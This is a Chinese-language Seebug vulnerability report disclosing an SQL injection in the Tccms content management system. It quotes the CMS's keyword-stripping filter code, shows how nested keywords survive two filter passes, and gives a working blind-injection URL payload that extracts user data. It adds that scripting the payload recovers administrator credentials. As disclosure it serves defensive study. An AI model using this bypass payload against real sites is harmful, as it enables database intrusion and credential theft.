Tccms sql注入一枚。(绕过防护机制)

2014-07-09T00:00:00
ID SSV:95055
Type seebug
Reporter Root
Modified 2014-07-09T00:00:00

Description

简要描述:

rt

详细说明:

直接看到/app/model/attackAction.class.php这个文件

``` public function initLogHacker() { /get/ foreach($_GET as $key=>$value){ if (!in_array($key, array('ac','a','c','do'))){//防止控制器和方法命名不规范被过滤 $this->StopAttack($key,$value,"get",$this->getfilter);

            $_GET[$key] = StringUtil::safe_replace($value);
            $_GET[$key] = StringUtil::remove_xss($_GET[$key]);
        }
    }

```

对于get类型的处理。跟进StopAttack

``` private function inject_check($sql_str) {
return eregi('select|insert|\'|\/*|*|..\/|.\/|union|into|and|or|load_file|outfile', $sql_str);// 进行过滤
}......... private function StopAttack($StrFiltKey,$StrFiltValue,$method,$ArrFiltReq){ $StrFiltValue = strtolower($StrFiltValue); if(is_array($StrFiltValue)) { $StrFiltValue=implode($StrFiltValue); } if ($this->inject_check($StrFiltValue) || preg_match ( "/" . $ArrFiltReq . "/is", $StrFiltValue ) == 1){ if ($method == 'cookie') { $_COOKIE[$StrFiltKey] = ''; $this->logAttack($StrFiltValue,$method); } if ($method == 'get') { $_GET[$StrFiltKey] = ''; $this->logAttack($StrFiltValue,$method); } if ($method == 'post') { $_POST[$StrFiltKey] = ''; $this->logAttack($StrFiltValue,$method); } } } private function logAttack($StrFiltValue,$method) { $attackStr = "

SubmitIP:".$_SERVER["REMOTE_ADDR"]." SubmitTime:".strftime("%Y-%m-%d %H:%M:%S")." SubmitPage:".$_SERVER["REQUEST_URI"]." SubmitMethod:".$_SERVER["REQUEST_METHOD"]." SubmitParams:".NetUtil::get_url()." SubmitData:".$StrFiltValue; $mailObj = new Email(); $this->url = NetUtil::get_url(); $this->ip = NetUtil::getIp(); $this->str = $attackStr; $this->killip = 0; $this->method = $method; $this->addtime = time(); $row = $this->query("select id from ".TABLEPRE."attack where ip='".NetUtil::getIp()."'"); if (count($row) > 5) { $this->id = $row[0]["id"]; $this->killip = 1; $this->update(); } else { $this->save(); } if (Config::get('attackmail') == 1) { $mailObj->Subject = "WebSite Attack Notice"; $mailObj->Body = $attackStr; $mailObj->sendMail(); } } } ```

记录下attack然后发送邮件- -。继续看到 safe_replace

public static function safe_replace($string) { $string = strtolower($string); $string = str_replace("_", '\_', $string); // 把 '_'过滤掉 $string = str_replace("%", '\%', $string); // 把' % '过滤掉 $string = str_replace('%20', '', $string); $string = str_replace('%27', '', $string); $string = str_replace('%2527', '', $string); $string = str_replace('*', '', $string); $string = str_replace('"', '"', $string); $string = str_replace("'", '', $string); $string = str_replace('"', '', $string); $string = str_replace(';', '', $string); $string = str_replace('<', '<', $string); $string = str_replace('>', '>', $string); $string = str_replace("{", '', $string); $string = str_replace('}', '', $string); $string = str_replace('\\', '', $string); $string = str_replace('or', '', $string); $string = str_replace('insert', '', $string); $string = str_replace('select', '', $string); $string = str_replace('delete', '', $string); $string = str_replace('and', '', $string); $string = str_replace('union', '', $string); $string = str_replace('load_file', '', $string); $string = str_replace('outfil', '', $string); $string = str_replace('truncate', '', $string); $string = str_replace('..', '', $string); $string = str_replace('//', '/', $string); $string = str_replace('http:/', 'http://', $string); return $string; }

替换关键字为空。sql的话 remove_xss函数我们无视就好了。影响不大。 我们找一个 执行sql语句的文件 像这个。/app/controller/news.class.php 注册用户 get数据 http://localhost/index.php?ac=news_all&yz=1 aananddnd exists (selseselectlectect username from tc_user where ooorrrd(substring(username from 1 fooorrr 1))=97)%23。

在两次safe_replace后。 还原了我们的语句

<img src="https://images.seebug.org/upload/201407/062157456c645ecfa2f803665d13cce2add42f8c.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">

虽然记录了 attack到了数据库 但是语句还是执行了的。 写个脚本循环替换 for x to 1 和 =97(+ -)的值 分分钟就可以获取到管理账号密码了。

漏洞证明:

<img src="https://images.seebug.org/upload/201407/062157456c645ecfa2f803665d13cce2add42f8c.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">